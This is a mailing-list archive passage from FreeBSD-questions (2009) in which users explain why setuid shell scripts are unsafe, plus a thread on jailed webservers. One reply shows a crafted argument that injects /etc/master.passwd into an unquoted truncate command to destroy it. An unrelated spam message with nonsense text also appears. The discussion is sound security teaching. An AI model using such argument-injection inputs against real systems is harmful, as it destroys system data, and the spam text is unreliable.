X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Aug 2009 02:11:00 -0000 On 8/28/09, RW wrote: > On Fri, 28 Aug 2009 11:54:19 +0300 > Giorgos Keramidas wrote: > >> On Fri, 28 Aug 2009 09:24:35 +0100, Jeronimo Calvo >> wrote: > >> > As far as i know, using SUID, script must runs with root >> > permissions... so i shoudnt get "Permission denied", what im doing >> > wrong?? >> >> No it must not. There are security reasons why shell scripts are not >> setuid-capable. You can find some of them in the archives of the >> mailing list, going back at least until 1997. > > I'm bit puzzled by this, previous threads have given the impression > that this is a myth, for example: > > http://www.mail-archive.com/freebsd-questions@freebsd.org/msg185134.html > > So are scripts actually incapable of running setuid? Dunno, but this dawns on me.. what defines a script? I've always defined a script that starts with a #! shebang. So the script can be SUID, but the interpreter/shell isn't. Is that why it doesn't work? --Tim From owner-freebsd-questions@FreeBSD.ORG Sat Aug 29 02:27:05 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EB959106564A for ; Sat, 29 Aug 2009 02:27:05 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx02.qsc.de (mx02.qsc.de [213.148.130.14]) by mx1.freebsd.org (Postfix) with ESMTP id AA1708FC19 for ; Sat, 29 Aug 2009 02:27:05 +0000 (UTC) Received: from r55.edvax.de (port-92-195-1-225.dynamic.qsc.de [92.195.1.225]) by mx02.qsc.de (Postfix) with ESMTP id 1CE4224BFA; Sat, 29 Aug 2009 04:27:03 +0200 (CEST) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id n7T2R39K002611; Sat, 29 Aug 2009 04:27:03 +0200 (CEST) (envelope-from freebsd@edvax.de) Date: Sat, 29 Aug 2009 04:27:03 +0200 From: Polytropon To: Tim Judd Message-Id: <20090829042703.ed4553a3.freebsd@edvax.de> In-Reply-To: References: <87y6p4pbd0.fsf@kobe.laptop> <20090829022431.5841d4de@gumby.homeunix.com> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: RW , freebsd-questions@freebsd.org Subject: Re: SUID permission on Bash script X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Aug 2009 02:27:06 -0000 On Fri, 28 Aug 2009 20:10:59 -0600, Tim Judd wrote: > Dunno, but this dawns on me.. > > what defines a script? I've always defined a script that starts with > a #! shebang. > > So the script can be SUID, but the interpreter/shell isn't. Is that > why it doesn't work? What is the difference of the script and the interpreter? The script is read and executed by the shell, the script itself isn't runnable at all. The itnerpreter specified by #! is executed and then starts to process the script. Is the interpreter running at SUID? Are the commands (child processes) that it executes (fork) running at SUID? But let us continue this consideration: If the shell process would be replaced by the command that is called, would it make a difference? Compare #!/bin/sh <- this starts /bin/sh shutdown -p now <- /bin/sh starts child shutdown to #!/bin/sh <- this starts /bin/sh exec shutdown -p now <- /bin/sh replaced by shutdown Hmmm... do I see this correctly? -- Polytropon Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Sat Aug 29 03:18:39 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 009D6106566C for ; Sat, 29 Aug 2009 03:18:39 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from poseidon.ceid.upatras.gr (poseidon.ceid.upatras.gr [150.140.141.169]) by mx1.freebsd.org (Postfix) with ESMTP id 6F2D48FC1F for ; Sat, 29 Aug 2009 03:18:38 +0000 (UTC) Received: from mail.ceid.upatras.gr (unknown [10.1.0.143]) by poseidon.ceid.upatras.gr (Postfix) with ESMTP id A0AB2EB4EE9; Sat, 29 Aug 2009 06:18:37 +0300 (EEST) Received: from localhost (europa.ceid.upatras.gr [127.0.0.1]) by mail.ceid.upatras.gr (Postfix) with ESMTP id 95FF245088; Sat, 29 Aug 2009 06:18:37 +0300 (EEST) X-Virus-Scanned: amavisd-new at ceid.upatras.gr Received: from mail.ceid.upatras.gr ([127.0.0.1]) by localhost (europa.ceid.upatras.gr [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id MyGtM4wK9RF0; Sat, 29 Aug 2009 06:18:37 +0300 (EEST) Received: from kobe.laptop (adsl42-116.kln.forthnet.gr [77.49.169.116]) by mail.ceid.upatras.gr (Postfix) with ESMTP id 52E834503F; Sat, 29 Aug 2009 06:18:37 +0300 (EEST) Received: from kobe.laptop (kobe.laptop [127.0.0.1]) by kobe.laptop (8.14.3/8.14.3) with ESMTP id n7T3Ia7G021871 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 29 Aug 2009 06:18:36 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) Received: (from keramida@localhost) by kobe.laptop (8.14.3/8.14.3/Submit) id n7T3IYvB021870; Sat, 29 Aug 2009 06:18:35 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) From: Giorgos Keramidas To: rwmaillists@googlemail.com References: <87y6p4pbd0.fsf@kobe.laptop> <20090829022431.5841d4de@gumby.homeunix.com> Date: Sat, 29 Aug 2009 06:18:34 +0300 In-Reply-To: <20090829022431.5841d4de@gumby.homeunix.com> (RW's message of "Sat, 29 Aug 2009 02:24:31 +0100") Message-ID: <8763c7gved.fsf@kobe.laptop> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.1.50 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: freebsd-questions@freebsd.org Subject: Re: SUID permission on Bash script X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Aug 2009 03:18:39 -0000 On Sat, 29 Aug 2009 02:24:31 +0100, RW wrote: >On Fri, 28 Aug 2009 11:54:19 +0300 Giorgos Keramidas wrote: >>On Fri, 28 Aug 2009 09:24:35 +0100, Jeronimo Calvo wrote: >>> As far as i know, using SUID, script must runs with root >>> permissions... so i shoudnt get "Permission denied", what im doing >>> wrong?? >> >> No it must not. There are security reasons why shell scripts are not >> setuid-capable. You can find some of them in the archives of the >> mailing list, going back at least until 1997. > > I'm bit puzzled by this, previous threads have given the impression > that this is a myth, for example: > > http://www.mail-archive.com/freebsd-questions@freebsd.org/msg185134.html > > So are scripts actually incapable of running setuid? If you hack at the kernel it may still be possible to run a script with setuid or setgid permissions. IMO there is still the possibility for many things to go wrong, especially with "quick and dirty" scripts. For example, what do you think will happen if a setuid script forgets to properly quote filenames in commands like: foo=$1 pidfile=/tmp/$foo.pid echo $$ > $pidfile # cleanup my pidfile truncate -s $pidfile and then I run the script with: setuid.sh " /etc/master.passwd /tmp/foo" If you guessed that the pid value was not saved anywhere, that because of the lack of error checking nobody noticed, and that the final truncate command may have just wiped your `master.passwd' file your guess is probably right. From owner-freebsd-questions@FreeBSD.ORG Sat Aug 29 04:04:08 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 563D31065670 for ; Sat, 29 Aug 2009 04:04:08 +0000 (UTC) (envelope-from mdc@prgmr.com) Received: from mail.prgmr.com (mail.prgmr.com [64.62.173.114]) by mx1.freebsd.org (Postfix) with ESMTP id 43FC18FC14 for ; Sat, 29 Aug 2009 04:04:08 +0000 (UTC) Received: from frylock.local (c-24-5-73-149.hsd1.ca.comcast.net [24.5.73.149]) by mail.prgmr.com (Postfix) with ESMTP id 1E23C68B5B for ; Fri, 28 Aug 2009 21:06:02 -0700 (PDT) Message-ID: <4A98A8A1.7070305@prgmr.com> Date: Fri, 28 Aug 2009 21:03:45 -0700 From: Michael David Crawford Organization: Prgmr.com User-Agent: Thunderbird 2.0.0.22 (Macintosh/20090605) MIME-Version: 1.0 CC: freebsd-questions@freebsd.org References: <87y6p4pbd0.fsf@kobe.laptop> <20090829022431.5841d4de@gumby.homeunix.com> In-Reply-To: <20090829022431.5841d4de@gumby.homeunix.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: SUID permission on Bash script X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Aug 2009 04:04:08 -0000 RW wrote: > So are scripts actually incapable of running setuid? They aren't on Linux. I learned about that a while back when I investigated setuid scripts for a coworker. It's not that setuid shell scripts are really more inherently insecure than programs written in C. The problem is more that those who write such scripts tend not to observe the proper precautions. For example if you don't set the PATH explicitly, and you don't give absolute pathnames to all the subprograms you run, then a trojan that has the same name as some standard program can get run as root. If a program is going to be setuid at all, you really have to know what you're doing when you write it or else you'll find yourself opening a can of worms. Mike -- Michael David Crawford mdc@prgmr.com prgmr.com - We Don't Assume You Are Stupid. Xen-Powered Virtual Private Servers: http://prgmr.com/xen From owner-freebsd-questions@FreeBSD.ORG Sat Aug 29 07:11:14 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9C263106564A for ; Sat, 29 Aug 2009 07:11:14 +0000 (UTC) (envelope-from perryh@pluto.rain.com) Received: from agora.rdrop.com (unknown [IPv6:2607:f678:1010::34]) by mx1.freebsd.org (Postfix) with ESMTP id 759EA8FC12 for ; Sat, 29 Aug 2009 07:11:14 +0000 (UTC) Received: from agora.rdrop.com (66@localhost [127.0.0.1]) by agora.rdrop.com (8.13.1/8.12.7) with ESMTP id n7T7BDGH065516 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sat, 29 Aug 2009 00:11:13 -0700 (PDT) (envelope-from perryh@pluto.rain.com) Received: (from uucp@localhost) by agora.rdrop.com (8.13.1/8.12.9/Submit) with UUCP id n7T7BDQ2065509; Sat, 29 Aug 2009 00:11:13 -0700 (PDT) Received: from fbsd61 by pluto.rain.com (4.1/SMI-4.1-pluto-M2060407) id AA28439; Sat, 29 Aug 09 00:03:00 PDT Date: Sat, 29 Aug 2009 00:06:29 -0700 From: perryh@pluto.rain.com To: mdc@prgmr.com Message-Id: <4a98d375.W9fcoTOIN1DqRk/3%perryh@pluto.rain.com> References: <87y6p4pbd0.fsf@kobe.laptop> <20090829022431.5841d4de@gumby.homeunix.com> <4A98A8A1.7070305@prgmr.com> In-Reply-To: <4A98A8A1.7070305@prgmr.com> User-Agent: nail 11.25 7/29/05 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: SUID permission on Bash script X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Aug 2009 07:11:14 -0000 Michael David Crawford wrote: > It's not that setuid shell scripts are really more > inherently insecure than programs written in C. Actually, absent some careful cooperation between the kernel and the interpreter to prevent a race condition that can cause the interpreter to run (with elevated permissions) a completely different script than the one that was marked setuid, setuid scripts _are_ insecure in a way that _cannot_ be fixed by any degree of care that might be taken in the writing of the script. Check the hackers@ archives. It was discussed a little over a month ago. From owner-freebsd-questions@FreeBSD.ORG Sat Aug 29 07:17:34 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D0DF0106566C for ; Sat, 29 Aug 2009 07:17:34 +0000 (UTC) (envelope-from mdc@prgmr.com) Received: from mail.prgmr.com (mail.prgmr.com [64.62.173.114]) by mx1.freebsd.org (Postfix) with ESMTP id BE3CE8FC08 for ; Sat, 29 Aug 2009 07:17:34 +0000 (UTC) Received: from frylock.local (c-71-202-68-54.hsd1.ca.comcast.net [71.202.68.54]) by mail.prgmr.com (Postfix) with ESMTP id 6F07968B5B for ; Sat, 29 Aug 2009 00:19:29 -0700 (PDT) Message-ID: <4A98D604.3020303@prgmr.com> Date: Sat, 29 Aug 2009 00:17:24 -0700 From: Michael David Crawford Organization: Prgmr.com User-Agent: Thunderbird 2.0.0.22 (Macintosh/20090605) MIME-Version: 1.0 CC: freebsd-questions@freebsd.org References: <87y6p4pbd0.fsf@kobe.laptop> <20090829022431.5841d4de@gumby.homeunix.com> <4A98A8A1.7070305@prgmr.com> <4a98d375.W9fcoTOIN1DqRk/3%perryh@pluto.rain.com> In-Reply-To: <4a98d375.W9fcoTOIN1DqRk/3%perryh@pluto.rain.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: SUID permission on Bash script X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Aug 2009 07:17:34 -0000 perryh@pluto.rain.com wrote: > Actually, absent some careful cooperation between the kernel > and the interpreter to prevent a race condition that can cause > the interpreter to run (with elevated permissions) a completely > different script than the one that was marked setuid, setuid > scripts _are_ insecure in a way that _cannot_ be fixed by any > degree of care that might be taken in the writing of the script. Wow. I had no idea. A while back a coworker asked me to help figure out why he couldn't get his script to run setuid on Linux. Some investigation turned up that the Linux kernel explicitly forbids setuid programs whose first two bytes are # and !. So it disables even setuid scripts that don't use the shell, like Python or Perl scripts. I came across a page that explained all the different ways setuid scripts could screw up - one would have to be a rocket scientist to avoid all the potential pitfalls. Mike -- Michael David Crawford mdc@prgmr.com prgmr.com - We Don't Assume You Are Stupid. Xen-Powered Virtual Private Servers: http://prgmr.com/xen From owner-freebsd-questions@FreeBSD.ORG Sat Aug 29 11:36:20 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5D5C4106564A for ; Sat, 29 Aug 2009 11:36:20 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from poseidon.ceid.upatras.gr (poseidon.ceid.upatras.gr [150.140.141.169]) by mx1.freebsd.org (Postfix) with ESMTP id 089348FC17 for ; Sat, 29 Aug 2009 11:36:20 +0000 (UTC) Received: from mail.ceid.upatras.gr (unknown [10.1.0.143]) by poseidon.ceid.upatras.gr (Postfix) with ESMTP id 457F6EB4E30; Sat, 29 Aug 2009 14:36:19 +0300 (EEST) Received: from localhost (europa.ceid.upatras.gr [127.0.0.1]) by mail.ceid.upatras.gr (Postfix) with ESMTP id 370C845088; Sat, 29 Aug 2009 14:36:19 +0300 (EEST) X-Virus-Scanned: amavisd-new at ceid.upatras.gr Received: from mail.ceid.upatras.gr ([127.0.0.1]) by localhost (europa.ceid.upatras.gr [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id g91mt9S9ZN-l; Sat, 29 Aug 2009 14:36:19 +0300 (EEST) Received: from kobe.laptop (adsl42-116.kln.forthnet.gr [77.49.169.116]) by mail.ceid.upatras.gr (Postfix) with ESMTP id F32024503F; Sat, 29 Aug 2009 14:36:18 +0300 (EEST) Received: from kobe.laptop (kobe.laptop [127.0.0.1]) by kobe.laptop (8.14.3/8.14.3) with ESMTP id n7TBaHep013288 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 29 Aug 2009 14:36:18 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) Received: (from keramida@localhost) by kobe.laptop (8.14.3/8.14.3/Submit) id n7TBaGlv013287; Sat, 29 Aug 2009 14:36:16 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) From: Giorgos Keramidas To: Michael David Crawford References: <87y6p4pbd0.fsf@kobe.laptop> <20090829022431.5841d4de@gumby.homeunix.com> <4A98A8A1.7070305@prgmr.com> <4a98d375.W9fcoTOIN1DqRk/3%perryh@pluto.rain.com> <4A98D604.3020303@prgmr.com> Date: Sat, 29 Aug 2009 14:36:16 +0300 In-Reply-To: <4A98D604.3020303@prgmr.com> (Michael David Crawford's message of "Sat, 29 Aug 2009 00:17:24 -0700") Message-ID: <87vdk6kg27.fsf@kobe.laptop> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.1.50 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: freebsd-questions@freebsd.org Subject: Re: SUID permission on Bash script X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Aug 2009 11:36:20 -0000 On Sat, 29 Aug 2009 00:17:24 -0700, Michael David Crawford wrote: > I came across a page that explained all the different ways setuid > scripts could screw up - one would have to be a rocket scientist to > avoid all the potential pitfalls. Hi Michael, It would be a very useful addition to the list archives if you pointed at the URI of the page. This way future readers will find it too :) From owner-freebsd-questions@FreeBSD.ORG Sat Aug 29 12:44:42 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EB9531065673 for ; Sat, 29 Aug 2009 12:44:42 +0000 (UTC) (envelope-from rwmaillists@googlemail.com) Received: from mail-ew0-f208.google.com (mail-ew0-f208.google.com [209.85.219.208]) by mx1.freebsd.org (Postfix) with ESMTP id 792318FC37 for ; Sat, 29 Aug 2009 12:44:42 +0000 (UTC) Received: by ewy4 with SMTP id 4so304756ewy.36 for ; Sat, 29 Aug 2009 05:44:40 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:subject :message-id:in-reply-to:references:x-mailer:mime-version :content-type:content-transfer-encoding; bh=8VghKSlkUQ2HGfPPzWVBm0dzQr7rwaTvMIXLvcZ4Sac=; b=yF3uqrtrTfMPCckuvCc4qWvV5dknwGnyl4o96Cf2OaZoFz2/lbB/p8NtGbYN4SHCAn EFyMZHsB0vSHcwU65E2lYIMynvr1abN0eyvwNpXiJHMlB+IPOUCQoM1FCK/7mJVOUdy1 nj/ypo2AMK0b0m52wyOdCyFyuKm+PbhMGhTho= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=date:from:to:subject:message-id:in-reply-to:references:x-mailer :mime-version:content-type:content-transfer-encoding; b=F1Suwhq0krGMSJlwXUmXwCqHtNILUKFUvw72kyCzeh97bkDkxeFOJBOv+kgS5kAlWe b96CfljhFcUUplNUoa2SibSBJulXE+A2YlIfMiI8UZ+DSgMOPWoA0f4TxxrCbBRcMi02 VdBGU3I4cmwALX6trdP/qGVaD4GWxGxi4sFJc= Received: by 10.210.7.17 with SMTP id 17mr2641901ebg.50.1251549880649; Sat, 29 Aug 2009 05:44:40 -0700 (PDT) Received: from gumby.homeunix.com (bb-87-81-140-128.ukonline.co.uk [87.81.140.128]) by mx.google.com with ESMTPS id 5sm199133eyf.15.2009.08.29.05.44.39 (version=SSLv3 cipher=RC4-MD5); Sat, 29 Aug 2009 05:44:40 -0700 (PDT) Date: Sat, 29 Aug 2009 13:44:36 +0100 From: RW To: freebsd-questions@freebsd.org Message-ID: <20090829134436.4461d8c9@gumby.homeunix.com> In-Reply-To: <4a98d375.W9fcoTOIN1DqRk/3%perryh@pluto.rain.com> References: <87y6p4pbd0.fsf@kobe.laptop> <20090829022431.5841d4de@gumby.homeunix.com> <4A98A8A1.7070305@prgmr.com> <4a98d375.W9fcoTOIN1DqRk/3%perryh@pluto.rain.com> X-Mailer: Claws Mail 3.7.2 (GTK+ 2.16.5; i386-portbld-freebsd7.2) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: SUID permission on Bash script X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Aug 2009 12:44:43 -0000 On Sat, 29 Aug 2009 00:06:29 -0700 perryh@pluto.rain.com wrote: > Michael David Crawford wrote: > > It's not that setuid shell scripts are really more > > inherently insecure than programs written in C. > > Actually, absent some careful cooperation between the kernel > and the interpreter to prevent a race condition that can cause > the interpreter to run (with elevated permissions) a completely > different script than the one that was marked setuid, setuid > scripts _are_ insecure in a way that _cannot_ be fixed by any > degree of care that might be taken in the writing of the script. > > Check the hackers@ archives. It was discussed a little over a > month ago. But is isn't that the same issue that Matthew Seaman was saying was fixed years ago (in the link I gave before), and is described in the follow-up: http://www.mail-archive.com/freebsd-questions@freebsd.org/msg185145.html That's entirely in the kernel, it doesn't require interpreter support. From owner-freebsd-questions@FreeBSD.ORG Sat Aug 29 13:22:41 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E95DF106564A for ; Sat, 29 Aug 2009 13:22:41 +0000 (UTC) (envelope-from bark@lefty.nl) Received: from p4fcb26df.dip0.t-ipconnect.de (p4FCB26DF.dip0.t-ipconnect.de [79.203.38.223]) by mx1.freebsd.org (Postfix) with SMTP id 21BB38FC17 for ; Sat, 29 Aug 2009 13:22:40 +0000 (UTC) Message-ID: <4A992A80.1030404@avi.nl> Date: Sat, 29 Aug 2009 15:22:40 +0200 From: Antronica User-Agent: Thunderbird 2.0.0.22 (Windows/20090605) MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: multipart/mixed; boundary="------------040702050404090406050105" X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: R taking a holiday except on the Derby day. The ugliest little ra X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Aug 2009 13:22:42 -0000 This is a multi-part message in MIME format. --------------040702050404090406050105 Content-Type: text/plain; charset=ISO-8859-2; format=flowed Content-Transfer-Encoding: 7bit Ere we not sufficiently convinced of the danger and the arduousness of our attempt, by our own experience and by analogy, we should have found abundant reason for diffidence in the often repeated counsels of Russians, who all unite in asserting that there is something so peculiarly delicate and inimitable in the diction and versification of these li --------------040702050404090406050105-- From owner-freebsd-questions@FreeBSD.ORG Sat Aug 29 13:26:21 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 18142106566B for ; Sat, 29 Aug 2009 13:26:21 +0000 (UTC) (envelope-from kraduk@googlemail.com) Received: from mail-fx0-f210.google.com (mail-fx0-f210.google.com [209.85.220.210]) by mx1.freebsd.org (Postfix) with ESMTP id 93DAD8FC0C for ; Sat, 29 Aug 2009 13:26:20 +0000 (UTC) Received: by fxm6 with SMTP id 6so1908692fxm.43 for ; Sat, 29 Aug 2009 06:26:19 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type; bh=kRZeobxvkrzS6bGVg3blBtdas1M22V4xtC5Pu0iRATU=; b=hrVJiLvKSiMsUDkPCqiZzu4+HWFHJ+vVwazyXJd66hHBjpa/4Z1qIboyFgBfAGuof8 JRsZMQ+0F34c7QotJeQvMBsRqDS8MpHKnpbi+ksvFeLvRUzYtVNpelQqRaXwSxTdFLIZ Q/NMxDhgoKPziJ1h72IXTBV+w3nS0x0ctHUTA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; b=B2hRXw1CwJLh0zLNRmXGuyRx5WA1oKF+L/B6lz5BZRQhWfQx3t4FNUeMq4wxY/p9/L wI+pqYk+dvx27ih4lpTBtZG3FGZWJhw6ubijdPC6HNNuv02gZoPZbeYscUlMTgs/Izke Zah9YP2gIyCB0tddy2xZzFC3u3oPqg2u3rTDE= MIME-Version: 1.0 Received: by 10.103.87.33 with SMTP id p33mr957048mul.94.1251552379103; Sat, 29 Aug 2009 06:26:19 -0700 (PDT) In-Reply-To: <20090828104516.GB30068@ei.bzerk.org> References: <27ade5280908261959q39aeab15ta300048b861a50f7@mail.gmail.com> <6201873e0908262010n1f554fa6p88895ee4641a5620@mail.gmail.com> <200908271135.13045.erich@apsara.com.sg> <27ade5280908270713g5710797xadb07b5055158808@mail.gmail.com> <6201873e0908270803k639b4742w1211d686607f7e9@mail.gmail.com> <27ade5280908270928s256bed30s2cc75587b22577b1@mail.gmail.com> <20090828104516.GB30068@ei.bzerk.org> Date: Sat, 29 Aug 2009 14:26:18 +0100 Message-ID: From: krad To: Ruben de Groot , APseudoUtopia , freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Subject: Re: Information on Setting up a Jailed Webserver X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Aug 2009 13:26:21 -0000 2009/8/28 Ruben de Groot > On Thu, Aug 27, 2009 at 12:28:26PM -0400, APseudoUtopia typed: > > Two more questions then I should be ready to go with my jail(s). > > > > In order to minimize the HDD space of the jail, can I add things in my > > src.conf such as > > WITHOUT_BOOT, WITHOUT_ACPI, WITHOUT_PF? > > Yes you can. Another option is to use read only nullfs mounts for e.g. > /usr, > /lib, /sbin/ /bin to populate the jail. That will cost you no HDD space at > all. > The ezjail port, allready mentioned, can more or less automate this. > > > I do use pf on the host system, but it isn't needed inside the jail as > > well, correct? > > Rather, it's not possible to use inside a standard (non-vimage) jail. > There's > only one network stack. > > > Also, is it possible to compile a port (specifically nginx) inside the > > host, then simply cp it into the jail and run it? I'd like to do this > > to avoid installing a compiler into the jail itself. > > make package-recursive > > Ruben > > > Thanks again for the help. > > _______________________________________________ > > freebsd-questions@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > I've not seen all this post so sorry if this has been mentioned before. Apache has a module called mod_jail, that means (im pretty sure) you dont have to build the full jail environment. I've not looked at it in detail but it's probably worth looking at before you start hacking around with full jails http://www.freebsdsoftware.org/www/mod_jail.html From owner-freebsd-questions@FreeBSD.ORG Sat Aug 29 15:11:31 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 728DC1065670 for ; Sat, 29 Aug 2009 15:11:31 +0000 (UTC) (envelope-from jeronimocalvop@googlemail.com) Received: from mail-bw0-f206.google.com (mail-bw0-f206.google.com [209.85.218.206]) by mx1.freebsd.org (Postfix) with ESMTP id E47B28FC12 for ; Sat, 29 Aug 2009 15:11:30 +0000 (UTC) Received: by bwz2 with SMTP id 2so1937331bwz.43 for ; Sat, 29 Aug 2009 08:11:29 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=9SmKfd2qSbL71jacXC/vw9Ph9c0/O061Ng2Bh5I/fcY=; b=c5tHAHNQ8CIym9PheRyq5Z8MjndnvDnEGMKtn2E1Gr7OpxxqASAXuMLufDvvme2P32 e12BSvDyFvXuLDQ1nUhL0IH0pgw+rSQ3lM7LmybnEN/WgZ1T5vudOKbZbHARKjpolEmh R4EzpIh7gdNhZLzMV/aTjme46FYZ0JE0tde1I= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=VM1+neKmrDW2sYK58nQuMIQbM+aoS0A/IC/Sa58J5aOKKyPKcqJNEbl9BqhZL6HxLd SGqtdd+e6+6uKWk+Aub83rlfJicH8xW+7lsplpjxbJJl2Zs9zvmAGg21Jbmzi6JzgPAA GSo/yfblNSHbSbWlqUzpWmWe++48sHIIgVFyI= MIME-Version: 1.0 Received: by 10.103.126.27 with SMTP id d27mr1033145mun.56.1251558689778; Sat, 29 Aug 2009 08:11:29 -0700 (PDT) In-Reply-To: References: <4A964415.6030008@mapper.nl> 